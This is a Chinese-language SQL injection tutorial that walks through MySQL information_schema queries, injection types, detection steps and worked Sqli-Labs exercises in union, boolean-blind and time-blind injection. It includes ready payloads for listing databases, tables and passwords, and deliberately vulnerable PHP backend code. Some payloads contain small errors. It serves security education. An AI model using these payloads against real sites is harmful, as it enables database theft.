SQL注入介绍
原理
SQL注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 sql 语句来实现对数据库的任意操作。
举例说明:
$id = GET['id']
$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
SQL 注入漏洞产生的条件:
A:参数用户可控:前端传入的参数内容由用户控制
B:参数带入数据库的查询:传入的参数拼接到 SQL 语句,并且带入数据库的查询
SQL注入的危害
数据库信息泄露:数据库中存放用户的信息隐私数据的泄露
服务器被远程控制,被安装后门
关于数据库
在 MySQL5.0 版本后,MySQL 默认在数据库中存放一个
information_schema
的数据库,在该库中,我们需要记住三个表名,分别是schemata
,tables
,columns
。Schemata 表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库名的字段名为
schema_name
。Tables 表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库 库名和表名的字段分别是
table_schema
和table_name
。Columns 表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为
table_schema
、table_name
、columns_name
。
SQL注入查询语句
数据库查询语句如下: 想要查询的值 A= select 所属字段名 A from 所属表名 where 对应字段名 B=值 B
关于几个表的一些语法:
// 通过这条语句可以得到所有的数据库名
select schema_name from information_schema.schemata limit 0,1
// 通过这条语句可以得到所有的数据表名
select table_name from information_schema.tables limit 0,1
// 通过这条语句可以得到指定security数据库中的所有表名
select table_name from information_schema.tables where table_schema='security'limit 0,1
// 通过这条语句可以得到所有的列名
select column_name from information_schema.columns limit 0,1
// 通过这条语句可以得到指定数据库security中的数据表users的所有列名
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
// 通过这条语句可以得到指定数据表users中指定列password的数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
select password from users limit 0,1
Limit 的用法:Limit 的使用格式是 limit m,n,其中 m 指的是记录开始的位置,从 m=0 开始,表示第一条记录; n 是指取几条记录。
SQL注入常用函数(以MySQL为例)
current_user
当前用户名
mysql> select current_user();
session_user
连接数据库的用户名
mysql> select session_user();
@@basedir mysql
安装路径
mysql> select @@basedir;
@@datadir
数据库路径(数据的位置)
mysql> select @@basedir;
@@version_compile_os
操作系统版本
mysql> select @@version_compile_os;
concat
、concat_ws
、group_concat
字符串连接函数
mysql> select concat (id,'|',username,'|',password) from users;
mysql> select concat_ws ('|',id,username,password) from users;
mysql> select group_concat ('\n',username) from users; # 在浏览器中可以使用 "<br>" 来代替 "\n"
substr
、mid
、left
、righ
、locate
字符串截取函数
substr(a,b,c)
:从字符串a当中的第b位开始截取c位mid(a,b,c)
:从字符串a当中的第b位开始截取c位left(a,b)
:在字符串a中,从左开始截取b位right(a,b)
:在字符串a中,从右开始截取b位locate(a,b)
:返回字符串a首次在字符串b出现的位置locate(a,b,c)
:字符串b的第c位之后如果有a,则返回a在字符串b中的位置,没有则为0
mysql> select substr('duoduo',1,2) #结果为 du
mysql> select mid('duoduo',2,3); # 结果为 uod
mysql> select left('duoduo',2); # 结果为 du
mysql> select right('duoduo',2); # 结果为 uo
mysql> select locate('duoduo','1234duoduo'); # 结果为 5
ascii
、ord
返回指定的ASCII字符对应的值
mysql> select ascii('a');
mysql> selec ord('a'); # 结果为97
char
返回指定数字对应的ASCII码字符函数
mysql> select char('97'); # 结果为a
length
、count
计算相关
mysql> select length(databases()); # 计算database名称长度
mysql> select count(*) from users; # 字段数量
sleep
、if
时间盲注会用到的函数
if(expr1,expr2,expr3) #如果expr1为true,执行expr2,否则执行expr3
mysql> select sleep(5); # 延迟5s响应
mysql> select if(1=1,sleep(5),1); # 延迟5s响应
mysql> select if(1=2,sleep(5),1); # 正常速度响应
to_base64
、from_base64 base64
函数
mysql> select to_base64('duoduo'); # 输出 "ZHVvZHVv"
mysql> select from_base64('ZHVvZHVv'); # 输出 "duoduo"
注释方法
# 一般的注释方式
--+ 一般在浏览器中使用,mysql当中的注释为“-- ”,使用“+”代替“ ”
/*!*/ 带"!"的注释,一般里面的表达式也会执行(内联注释方式)
/*!50000*/ mysql 5通用,带版本内联注释
补充:URL编码:“#”:%23“ ”:%20或者+“+”:%%2B
注:sql注入漏洞攻击流程:注入点探测—信息获取—获取权限
SQL注入类型
按照注入点类型来分类
数字型注入点
类似结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1
若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:
select * from 表名 where name = 'admin' and 1 = 1 '
字符型注入点
类似结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin'
值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:
select * from 表名 where id = 1 and 1 = 1
搜索型注入点
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 “keyword=关键字” 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为: select * from 表名 where 字段 like '%关键字%'
若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:
select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'
按照数据提交的方式来分类
GET注入
提交数据的方式是 GET
, 注入点的位置在 GET
参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
POST注入
使用 POST
方式提交数据,注入点位置在 POST
数据部分,常发生在表单中。
Cookie注入
HTTP 请求的时候会带上客户端的 Cookie
, 注入点存在 Cookie
当中的某个字段中。
HTTP头部注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent
字段中。严格讲的话,Cookie
其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie
是头部的一个字段。
按照执行效果来分类
基于布尔的盲注即可以根据返回页面判断条件真假的注入。
基于时间的盲注即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
基于报错注入即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
单引号
双引号
基于数字型注入
联合查询注入
可以使用union
的情况下的注入堆查询注入
可以同时执行多条语句的执行时的注入宽字节注入宽字节注入主要是源于程序员设置
数据库编码
与php 编码
设置为不同
的两个编码,这样就可能会产生宽字节注入
。GBK
占用两字节,ASCII
占用一字节。PHP 中编码为GBK
,函数执行添加的是 ASCII 编码(添加的符号为\‛
),MYSQL 默认字符集是GBK
等宽字节字符集。 输入%df%27
,本来\
会转义%27(’)
,但\
(其中`\`的十六进制是%5C
)的编码位数为92
,%df
的编码位数为223
,%df%5c
符合GBK取值范围(第一个字节129-254
,第二个字节64-254
),会解析 为一个汉字運
,这样\
就会失去应有的作用。
注入检测方式
寻找注入点可以使用BurpSuite抓包,分析每一个请求的传参数(常见的注入点有GET,POST,COOKIE)
GET /Less-1/?id=1 HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
判断是否存在注入
一般在传参后面加一个单引号或者双引号,报错或者没有返回正常的页面,那么大概率是存在注入的
进一步检测是否存在注入
数字型注入
SQL语句为
$sql = "select * from users where id = $id limit 0,1"
# 传入id = 1
$sql = "select * from users where id = 1 limit 0,1" #正常执行
# 传入id = 1'
$sql = "select * from users where id = 1' limit 0,1" #语句错误
# 传入id = 1'#
$sql = "select * from users where id = 1'# limit 0,1" #语句错误(到这里可以基本知道不是字符型注入了)
# 传入id = 2-1
sql = "select * from users where id = 2-1 limit 0,1" #正常执行,与id=1结果相同
字符型注入
SQL语句为
$sql = "select * from users where id = '$id' limit 0,1"
# 传入id = 1
$sql = "select * from users where id = '1' limit 0,1" #正常执行
# 传入id = 1'
$sql = "select * from users where id = '1'' limit 0,1" #语句错误
# 传入id = 1'#
$sql = "select * from users where id = '1'#' limit 0,1" # 正常执行(“#”在URL中会被编码为%23,所以在URL中可以直接使用%23)
搜索型注入
SQL语句为
$sql = "select * from users where password like '%$pwd%' order by password"
like
用于搜索匹配字段中的内容
#传入pwd = xx' and 1 = 1 and '%' = '
$sql = "select * from users where password like '%xx' and 1 = 1 and '%' = '%' order by password" #这种形式则存在SQL注入
# 传入pwd = keyword'
$sql = "select * from users where password like '%keyword'%' order by password" # 报错,则大概率存在漏洞
# 传入pwd = keyword%
$sql = "select * from users where password like '%keyword%%' order by password" # 报错,则大概率存在漏洞
# 传入pwd = keyword%' and 1 = 1 '%' = '或pwd = keyword%' and 1 = 2 '%' = '
$sql = "select * from users where password like '%keyword%' and 1 = 1 '%' = '%' order by password" ①
$sql = "select * from users where password like '%keyword%' and 1 = 2 '%' = '%' order by password" ②
# 如果①正常执行,②不正常执行,则存在漏洞
# 传入pwd = 'and 1 = 1 and '%' = '
$sql = "select * from users where password like '%' and 1 = 1 and '%' = '%' order by password"
# 传入pwd = %' and 1 = 1--'
$sql = "select * from users where password like '%' and 1 = 1 and '%' = '%' order by password"
# 传入pwd = %' and 1 = 1 and '%' = '
$sql = "select * from users where password like '%' and 1 = 1 and '%' = '%' order by password"
判断是否有注入还可以使用 and、or
如:
# 传入id = 1' and 1 = 1
$sql = "select * from users where id = 'id=1' and 1=1 limit 0,1" #正常执行
# 传入id = 1' and 1 = 2
$sql = "select * from users where id = 'id=1' and 1=2 limit 0,1" # 语句没有错误,但不执行(1=2为false)
SQL注入实例
Union联合注入(Sqli-Labs Less-1)
注入原理
UNION
操作符:用于连接两个以上的 SELECT 语句(其他语句不行)的结果组合到一个结果集合中,多个 SELECT 语句会删除重复的数据。
ORDER BY
操作符:将查询的结果根据字段进行排序。这里可使用数字,例如 ORDER BY 3 表示将查询的结果根据表中第三个字段进行排序。
后端代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
具体步骤
SQL语句为:$sql = "select * from users where id = '$id' limit 0,1"
①使用Order By判断字段数
传入 id = 1' ORDER BY n --+ (n = 1,2,3,4,5,6)
$sql = "select * from users where id = '1' ORDER BY n --+' limit 0,1"
# 若字段数为3,当n为4或更大时,数据显示不正常或报错,可知字段数为3
②使用Union进行联合注入
传入 id = -1' and UNION select 1, 2, 3 --+
(Union前的语句执行结果需要为空)
$sql = "select * from users where id = '-1' and UNION select 1, 2, 3 --+' limit 0,1"
# 页面上会显示出 UNION select 后面的内容。
这里就可以将显示的位置:1,2,3 替换为SQL语句,来获取我们想要的信息
注:UNION SELECT 会被过滤时可以使用 UNION ALL SELECT
布尔盲注(Sqli-Labs Less-8)
概述
代码存在 sql 注入漏洞,注入的语句在Web的页面返回值均为True或False,是根据页面返回值来得到数据库信息的一种办法。
注入原理
执行语句为 (SQL语句1) and (SQL语句2)
或者 (SQL语句1) or (SQL语句2)
,页面显示内容由整个SQL语句的 返回值(布尔类型)
决定,根据页面返回内容来对语句进行判断。
后端代码
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1 ";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row) {
echo "Right";
} else {
echo "Wrong";
}
使用场景
Union注入
无法使用(如:被过滤,无位置显示等)只能根据页面是否返回
True
或False
来判断是否被带入注入
判断是否存在布尔盲注
// 传入id = 1' and 1=1 --+
$sql = "select * from users where id = '1' and 1=1 --+' limit 0,1"; #返回正常
// 传入id = 1' and 1=2 --+
$sql = "select * from users where id = '1' and 1=2 --+' limit 0,1"; #返回异常
具体步骤
SQL语句为 $sql = "select * from users where id = '$id' limit 0,1";
注:可以使用Burp的 Inteuder
模块进行遍历,或编写脚本
获取数据库名称长度
// 传入id = 1' and length(database()) = n --+
$sql = "select * from users where id = '1' and length(database()) = n --+' limit 0,1";
# 判断数据库名称的长度:n
获取数据库名称
// 传入id = 1' and ascii(substr(database(),x,1))=n --+
$sql="SELECT * FROM users WHERE id='1' and ascii(substr(database(),x,1))=n --+' LIMIT 0,1";
# 判断数据库名称中第x个字符的ascii值:n
获取数据库中表的数量
// id = 1' and (select count(*) from information_schema.tables where table_schema = database()) = n --+
$sql="SELECT FROM users WHERE id='1' and (select count() from information_schema.tables where table_schema = database()) = n --+' LIMIT 0,1 ";
# 判断指定数据库中表的数量:n
获取指定表的名称长度
// 传入id = 1' and length((select table_name from information_schema.tables where table_schema = database() limit i,1)) = n --+
$sql = "select * from users where id = '1' and length((select table_name from information_schema.tables where table_schema = database() limit i,1)) = n --+' limit 0,1";
# 判断查询列表中的第i个字符串(指定表名)的长度:n
获取指定表的名称
// 传入id = 1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit i,1),x,1)) = n --+
$sql = "select * from users where id = '1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit i,1),x,1)) = n --+' limit 0,1";
# 判断查询列表中的第i个字符串(指定表名)中的第x个字符的ascii值:n
获取指定表中列的数量
// 传入id = 1' and (select count(column_name) from information_schema.columns where table_name = 'tablename') = n --+
$sql = "select * from users where id = '1' and (select count(column_name) from information_schema.columns where table_name = 'tablename') = n --+' limit 0,1";
# 判断指定表中列(字段名)的数量:n
获取表中指定列的长度
// 传入id = 1' and length((select column_name from information_schema.columns where table_name = 'tablename' limit i,1)) = n --+
$sql = "select * from users where id = '1' and length((select column_name from information_schema.columns where table_name = 'tablename' limit i,1)) = n --+' limit 0,1";
# 判断表中第i列(第i个字段)名称的长度:n
获取表中指定列的名称
// 传入id = 1' and ascii(substr((select column_name from information_schema.columns where table_name = 'tablename' limit i,1),x,1)) = n --+
$sql = "select * from users where id = '1' and ascii(substr((select column_name from information_schema.columns where table_name = 'tablename' limit i,1),x,1)) = n --+' limit 0,1";
# 判断表中第i列(第i个字段)名称中第x个字符的ascii值:n
获取表中指定列的字段数量
// 传入id = 1' and (select count(columnname) from tablename) = n --+
$sql = "select * from users where id = '1' and (select count(column_name) from tablename) = n --+' limit 0,1";
# 判断指定列(字段名columnname)的字段数量:n
获取列中指定字段的长度
// 传入id = 1' and length((select columnname from tablename limit i,1)) = n --+
$sql = "select * from users where id = '1' and length((select columnname from tablename limit i,1)) = n --+' limit 0,1";
# 判断指定列(字段名columnname)中第i条字段的长度:n
获取列中指定字段的值
// 传入id = 1' and ascii(substr((select columnname from tablename limit i,1),x,1)) = n --+
$sql = "select * from users where id = '1' and ascii(substr((select columnname from tablename limit i,1),x,1)) = n --+' limit 0,1";
# 判断第i个字段中第x个字符的ascii值:n
时间盲注(Sqli-Labs Less-9 or Less-10)
概述
代码存在 sql 注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也 不提示真假,我们不能通过页面的内容来判断。这里我们可以通过构造语句,通过页面响应的时长,来判断信息,这既是时间盲注。
注入原理
利用 sleep()
或 benchmark()
等函数让 mysql 执行时间变长经常与 if(expr1,expr2,expr3)
语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)
含义是如果 expr1
是 True
,则返回 expr2
,否则返回 expr3
。
注:if(expr1,expr2,expr3)
含义是:如果 expr1
是 True
,则返回 expr2
,否则返回 expr3
后端代码
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1 ";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row) {
echo " ";
} else {
echo " ";
}
使用场景
Union注入
无法使用布尔盲注
无法使用
判断是否存在时间盲注
// 传入id = 1' --+
$sql = "select * from users where id = '1' --+' limit 0,1"; # 正常速度响应
//传入id = 1' and sleep(5) --+
$sql = "select * from users where id = '1' and sleep(5) --+' limit 0,1"; # 延迟5s响应
具体步骤
SQL语句为 $sql="SELECT * FROM users WHERE id = '$id' LIMIT 0,1 ";
具体步骤与布尔盲注类似,注入的语句格式为:
//传入id = 1' and if(exp,sleep(5),1) --+
$sql="SELECT * FROM users WHERE id='1' and if(exp,sleep(5),1) --+' LIMIT 0,1 ";
#布尔盲注中的语句放在exp的位置,如果返回True,则延迟5s响应;返回False,则正常速度响应。
参与讨论